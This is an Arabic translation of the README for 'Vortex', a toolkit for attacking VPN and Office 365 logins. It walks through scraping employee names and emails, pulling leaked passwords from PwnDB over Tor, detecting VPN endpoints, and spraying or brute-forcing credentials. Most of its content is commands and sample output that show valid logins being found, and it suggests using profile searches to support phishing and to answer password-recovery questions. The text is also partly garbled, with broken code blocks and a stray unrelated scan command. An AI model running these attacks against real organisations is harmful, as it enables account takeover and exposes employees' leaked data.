
مجموعة أدوات شاملة لاستطلاع واختبار وتعداد واستغلال شبكات VPN
🚩 هذا هو المستودع العام لـ vortex، للحصول على أحدث إصدار وتحديثات، يرجى التفكير في دعمنا من خلال https://porchetta.industries/
مجموعة أدوات الاستطلاع والاختبار والتعداد والاستغلال الشاملة لشبكات VPN
إذا كنت ترغب في رعاية هذا المشروع والحصول على أحدث التحديثات على vortex، وإصلاح أحدث المشكلات، وأحدث الميزات، يرجى دعمنا على https://porchetta.industries/
تعال وتسلى على ديسكورد!
إطار عمل بايثون بسيط جدًا، مستوحى من [SprayingToolkit][1]، يحاول أتمتة معظم العمليات المطلوبة لاكتشاف وتعداد ومهاجمة نقاط نهاية O365 و VPN الشائعة (مثل Cisco و Citrix و Fortinet و Pulse وما إلى ذلك).
جعل مرحلة رش VPN أسرع وأسهل بكثير. أيضًا، نظرًا لمرونته، يمكن إضافة هذه الأداة إلى سير عمل OSINT الحالي بسهولة تامة.
توفر Vortex المساعدة بشكل أساسي في أداء المهام التالية:
قم بتثبيت المتطلبات الأساسية باستخدام pip3 كما يلي:``` sudo -H pip3 install -r requirements.txt
### التثبيت باستخدام Virtualenv
بخلاف ذلك، يمكنك تثبيت المتطلبات الأساسية باستخدام بيئة افتراضية:
###### على ويندوز```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## الاستخدام
استخدام الأداة مباشر إلى حد كبير، ولكن هناك سير عمل يجب احترامه. تستخدم الأداة قاعدة بيانات SQLite لتخزين معلومات حول الهجوم الحالي.
### مساحة العمل
تمثل مساحة العمل ملف قاعدة البيانات الذي تستخدمه الأداة. يجب أن يكون الاسم مجرد اسم بسيط لتسمية الهجوم أو المشروع أو الهدف الحالي.
يتم تعيين قاعدة بيانات SQLite واحدة لكل مساحة عمل. عند تحديد اسم مساحة عمل، مثل:
python manage.py -w workspace1
ما تقوله فعلاً هو "أريد العمل على ملف `workspace1.db`".
#### تهيئة مساحة العمل
لكي يعمل Vortex بشكل صحيح، يحتاج إلى تهيئة قاعدة البيانات بالمخططات الصحيحة.
للقيام بذلك، الشيء الوحيد المطلوب هو تنفيذ الأمر:```
python manage.py -w workspace1 db -c init
إذا حاول المستخدم تخطي هذه المرحلة، فسيقوم Vortex بطباعة الأمر الصحيح للتشغيل أولاً على الشاشة.``` [-] Workspace not initialized. Please initialise it using: python manage.py -w workspace1 db -c init
بدلاً من ذلك، عند تشغيل نفس الأمر على قاعدة بيانات موجودة ومهيأة، سيطلب Vortex تأكيدًا قبل الكتابة فوق ملف DB:```
[-] The DB file exists and it was initialised, overwrite?
[y|n] $> y
يعمل Vortex مع وسيط موضعي واحد، وهو 'الإجراء'، وقيم مفاتيح أخرى.
أهم هذه الوسائط هو وسيط الأمر (-c cmd). بالاقتران مع قيمة الإجراء، يحدد الأمر ما يجب أن يفعله Vortex.
يمكن رؤية قائمة الإجراءات المدعومة من المساعدة:``` python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments: {db,domain,import,office,profile,search,tor,validate,vpn} Action to execute
optional arguments: -h, --help show this help message and exit -w WORKSPACE, --workspace WORKSPACE Workspace to use -c COMMAND, --command COMMAND Command for the action -D DOMAIN, --domain DOMAIN Domain under attack -C COMPANY, --company COMPANY Company under attack -l LOCATION, --location LOCATION Location of the company under attack (IE, UK, US, ...) -u URL, --url URL VPN Endpoint Origin (schema://domain:port) -t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE Target Endpoint Type -U USER, --user USER User name -E EMAIL, --email EMAIL User email -N NAME, --name NAME User full name -R ROLE, --role ROLE User job -s SQL, --sql SQL SQL statement -O EXPORT_FILE, --export-file EXPORT_FILE Export file -Q QUOTES, --quotes QUOTES Produce an Excel safe CSV -nh, --no-headers Remove CSV headers -k KEYWORDS, --keywords KEYWORDS Search keywords -P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE Password file for spraying -L, --leaks Use leaks for spraying -I IMPORT_FILE, --import-file IMPORT_FILE Import file
#### إدخال الوسائط الديناميكية
كما يمكن ملاحظته من المساعدة، قائمة الأوامر المدعومة لكل إجراء غير محددة
في أي مكان. وذلك لأنه ليس من الضروري تحديد أمر مباشرة.
في الواقع، إذا لم يتم تحديد أمر، سيسأل Vortex المستخدم لاختيار واحد
من بين الأوامر المتاحة للإجراء المحدد.```
python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command:
0 : init
1 : sql
2 : add-endpoint
3 : add-user
4 : drop-user
5 : truncate-table
6 : export
$>
ينطبق الأمر نفسه على الوسيط المطلوب بواسطة روتين معين. إذا كان من الصعب إدخال وسيط في وقت التشغيل، فسيقوم Vortex بتذكير المستخدم بلطف بأن المعامل مطلوب. خلاف ذلك، سيقوم Vortex بتوجيه المستخدم إلى اختيار أو إدخال الوسائط اللازمة.
على سبيل المثال، إذا أراد المستخدم تصدير جدول معين أو حتى عمود، فإن الشيء الوحيد المطلوب هو تشغيل أمر التصدير، كما هو ملاحظ من الصورة أدناه:

هذا النوع من السلوك يجعل Vortex سهل الاستخدام حقًا.
تم تصميم Vortex ليلتزم بسير عمل تشغيلي محدد، ملخص في المخطط أدناه:

يمكن جمع المستخدمين الصالحين لهدف معين باستخدام ثلاثة مصادر مختلفة:
تمت إزالة هذا المصدر بسبب انتهاك سياسات مستخدم LinkedIn. لا يزال بإمكانك العمل على LinkedIn باستخدام GoMapEnum، ثم استيراد عناوين البريد الإلكتروني باستخدام الأمر import.
مرة أخرى، يرجى العلم أن استخدام هذه الوظيفة يشكل انتهاكًا لاتفاقية مستخدم LinkedIn، كما هو ملاحظ في النقطة 8.2 من اتفاقية مستخدم LinkedIn:
أنت توافق على أنك لن: [...] 2. تطوير أو دعم أو استخدام برامج أو أجهزة أو نصوص برمجية أو روبوتات أو أي وسائل أو عمليات أخرى (بما في ذلك برامج الزحف وإضافات المتصفح والوظائف الإضافية أو أي تقنية أخرى) لاستخراج البيانات من الخدمات أو نسخ الملفات الشخصية والبيانات الأخرى من الخدمات؛
لاستبدال الوظيفة المذكورة أعلاه جزئيًا، تضمن الأداة نسخة معدلة من CrossLinked. ستحاول هذه الأداة اكتشاف موظفي شركة باستخدام Google وBing. إنها بالتأكيد ليست مثل البحث مباشرة على LinkedIn، لكنها مفيدة جدًا.
لكي تعمل الأداة بشكل صحيح، ستطلب من المستخدم تحديد التنسيق الذي يجب استخدامه لأسماء المستخدمين (أي john.doe أو j.doe أو d.john) وأي نطاق قياسي يستخدمه النطاق الهدف.``` python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames 0: firstlast 1: lastfirst 2: first.last 3: last.first 4: last.f 5: flast 6: lfirst 7: f.last 8: l.first 9: first 10: last $> 2 [] Starting search on Google and Bing with CrossLinked [>] Searching google for valid employee names at "Evil Corporation" [>] Searching bing for valid employee names at "Evil Corporation" [>] Found 133 LinkedIn accounts! [] Updating DB ... [+] Done!
* Google
يتم تشغيل هذا المصدر باستخدام نسخة منقحة ومعدلة من [theHarvester]().
ستحاول الأداة استخراج الأسماء/البريد الإلكتروني من Google (جمع سلبي) باستخدام Google Dorks، ومن موقع الشركة (جمع نشط).```
python manage.py -w workspace1 search -c google -D evilcorp.com
[*] Starting passive/active search on Google
[*] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com
[*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com
[+] Scraping any emails from: https://evilcorp.com
[+] Scraping any emails from: https://www.facebook.com/EvilCorp/
...
[+] 2 unique emails found:
---------------------------
[email protected]
[email protected]
[>] Found 2 mail
[*] Updating DB ...
[+] Done!
يتم تشغيل هذا المصدر باستخدام نسخة منقولة من تلك المنفذة في sn0int.
ملاحظة: تتطلب هذه الوظيفة الاتصال بشبكة TOR. على نظام Windows، يمكن استخدام النسخة المضمنة المقدمة من Vortex. أما على Linux، فمن الضروري تثبيت حزمة tor (أي sudo apt-get install tor على Kali).
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
##### التعداد على على PwnDB```
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[*] Starting search on PwnDB
[>] Found 493 leaked accounts!
[*] Updating DB ...
[+] Done!
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
#### جمع نقاط النهاية
يستخدم Vortex بشكل أساسي فئتين كبيرتين لنقاط النهاية: VPN ونقاط نهاية Microsoft (Office).
يمكن إضافة هدف كنقطة نهاية Office أو VPN، وسيحاول Vortex التحقق من صحة نقطة النهاية كـ Office أو VPN، على التوالي، باستخدام مجموعة من المدققات.
##### إضافة نقطة نهاية Office
دعنا نوضح ذلك بمثال. يحتاج المستخدم إلى مهاجمة الهدف `evilcorp.com`، ويريد التحقق مما إذا كان المجال هو هدف OWA أو Lync أو ADFS أو O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally
[+] evilcorp.com is a valid OWA target!
[-] evilcorp.com does not seem a valid LYNK target
[-] evilcorp.com does not seem a valid ADFS target
[-] evilcorp.com does not seem a valid IMAP target
[+] evilcorp.com is a valid O365 target!
بالنسبة لنقاط نهاية VPN، يمكن للمستخدم إجراء بحث عن النطاقات الفرعية من أجل العثور على مضيفات تشغيل تسجيلات دخول VPN عبر الويب، مثل:``` python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Starting subdomain passive enumeration [>] Found 10 subdomains [$] Elapsed time: 18.360117197036743 [] Enumerating potential VPN endpoints (HTTPS on 443, 10443) [>] Found 1 hosts running an SSL webserver [$] Elapsed time: 18.916626691818237 [] Trying to detect hosts with VPN web-login [>] Found 1 hosts with a VPN web login [$] Elapsed time: 32.919618368148804 [] Updating DB... [+] Adding vpn.evilcorp.com:443 as a pulse target [>] Elapsed time: 18.920615434646606 [+] Done
##### إضافة يدوية لنقطة نهاية VPN
لإضافة نقاط نهاية VPN يدويًا، بالطبع، تحديد نطاق المستوى الأعلى ربما لن يكون كافيًا.
الطريقة الصحيحة هي تحديد نطاق فرعي معين بالإضافة إلى المنفذ المحدد الذي يعمل عليه خادم الويب الخاص بـ VPN.```
python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
لتنفيذ هجوم رش كلمة المرور أو حتى هجوم القوة العمياء، المورد الوحيد المطلوب هو قائمة كلمات المرور في شكل ملف نصي، مع كلمة مرور واحدة في كل سطر.``` python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : owa 1 : lync 2 : imap 3 : adfs 4 : o365 5 : all $> 4 [] Running O365Enumerator [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### تنفيذ هجوم رش كلمات المرور أو القوة الغاشمة على نقاط نهاية VPN
لتنفيذ هجوم رش كلمات المرور أو حتى هجوم القوة الغاشمة، المورد الوحيد المطلوب هو قائمة كلمات مرور على شكل ملف نصي، مع كلمة مرور واحدة في كل سطر.```
python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
بما أن Vortex يتتبع المُعَرَّفات المُسَرَّبة على PwnDB، يمكن للمستخدم اختيار اختبار جميع المُعَرَّفات المُسَرَّبة بدلاً من تقديم ملف كلمات مرور.
ومع ذلك، ضع في اعتبارك أن هذا السلوك يختلف كثيرًا عن هجوم رش كلمة المرور العادي. في هجوم رش كلمة المرور العادي، بالطبع، تُجرَّب كلمة مرور واحدة ضد جميع المستخدمين. في هجوم المُعَرَّفات المُسَرَّبة، تُختبر المُعَرَّفات المُسَرَّبة ضد المستخدم المحدد الذي سُرِّبت معه. لذا، على سبيل المثال، إذا وجد Vortex التسريبات:``` User Leaks
[email protected] ["ISecretlyLoveAngela2020!"] [email protected] ["Puppy19!", "MySweetJ111!"]
Vortex سيقوم بالمحاولات التالية، وفقط التالية:```
[email protected]:ISecretlyLoveAngela2020!
[email protected]:Puppy19!
[email protected]:MySweetJ111!
لتنفيذ هذا الهجوم، لا حاجة لملف كلمة المرور، ولكن يجب تعيين المعامل (-L، أو --leaks).``` python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [+] [email protected]:ISecretlyLoveAngela2020! is valid! [-] [email protected]:Puppy19! is not valid. [-] [email protected]:MySweetJ111! is not valid. [>] Found 1 valid logins [*] Updating Db... [+] Done
هذا في الغالب كل شيء. أحيانًا قد تطلب الأداة المزيد من المعلومات قبل تنفيذ هجوم، مثل تحديد نطاق/مجموعة VPN.
##### عرض النتائج
في أي وقت، يمكنك رؤية معلومات تسجيل الدخول الصالحة التي وجدتها باستخدام الأمر التالي:
```bash
rustscan -a <IP> -p 8443 -- -sV
python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### البحث عن ملفات تعريف شبكات التواصل الاجتماعي
أحيانًا، في المهام الكبيرة، تساعدنا معرفة المزيد عن أهدافنا في اختراق دفاعاتهم، مثل استخدام البريد الإلكتروني الشخصي أو الحسابات الاجتماعية للتصيد، أو أيضًا العثور على إجابات لأسئلة استعادة كلمة المرور.
لهذا السبب، قمت بدمج [Profil3r](https://github.com/Greyjedix/Profil3r). تحاول هذه الأداة تحديد حسابات شبكات التواصل الاجتماعي التي قد تكون مرتبطة بشخص معين.
**ملاحظة مهمة**: يحاول Profil3r تحديد الملفات الشخصية الصالحة باستخدام مزج الأسماء (name mashing). لا يمكنه ضمان أن الملفات الشخصية التي تم العثور عليها مرتبطة بالفعل بالشخص المستهدف. لهذا السبب، لا تتم إضافة الملفات الشخصية تلقائيًا إلى قاعدة بيانات Vortex.
حاليًا، يمكن العمل باستخدام Profil3r في وضعين:
* الوضع الفردي (single-mode)
* الوضع المتعدد (multi-mode)
يعمل الوضع الفردي على مجموعة من الكلمات المفتاحية التي يوفرها المستخدم:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
الوضع المتعدد يعمل على الاسم الأول والاسم الأخير لكل مستخدم في قاعدة البيانات. أي كلمة إضافية يتم تمريرها في الوضع المتعدد تُستخدم مع الاسم الأول والاسم الأخير للمستخدمين. على سبيل المثال، يمكنك استخدام أسماء إضافية أو أرقام لتخصيص البحث عن الملف الشخصي.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### استيراد البيانات الخارجية
يدعم Vortex أيضًا استيراد البيانات الخارجية المتعلقة بالمستخدمين أو نقاط النهاية.
حاليًا، يتم دعم ملفات النص العادي فقط مع دعم محدود لـ CSV أيضًا.
أنواع البيانات التي يمكن استيرادها حتى الآن هي:
* عناوين البريد الإلكتروني
* أسماء المستخدمين
* نقاط نهاية VPN (الهدف:المنفذ)
* النطاقات
* ~~تسريبات من PwnDB~~ مهمل: استخدم فقط أمر البحث
* بيانات LinkedIn المستخرجة باستخدام ~~Blues~~
كل نوع بيانات مدعوم بتنسيق ملف نصي عادي، عنصر واحد لكل سطر.
## خريطة الطريق
وظائف جديدة قادمة قريبًا (2022):
* توليد قوائم كلمات المرور الذكية
* استخراج البيانات والربط بينها
يرجى تقديم الأخطاء أو الاقتراحات أو طلبات الميزات.
## الشكر
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): لعمله الرائع على [SprayingToolkit][1]، الذي ألهم المشروع
* [nodauf](https://twitter.com/nodauf): لعمله على [GoMapEnum](https://github.com/nodauf/GoMapEnum)، الذي أعطاني أفكارًا أخرى
* [quasart](https://github.com/quasart): تم إنشاء الشعار باستخدام [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): لعمله على [CrossLinked](https://github.com/m8r0wn/CrossLinked)، وهي أداة رائعة حقًا
* [Greyjedix](https://github.com/Greyjedix/): لعمله على [Profil3r](https://github.com/Greyjedix/Profil3r)، وهي أداة مفيدة جدًا في ظروف معينة
[1]: https://github.com/byt3bl33d3r/SprayingToolkit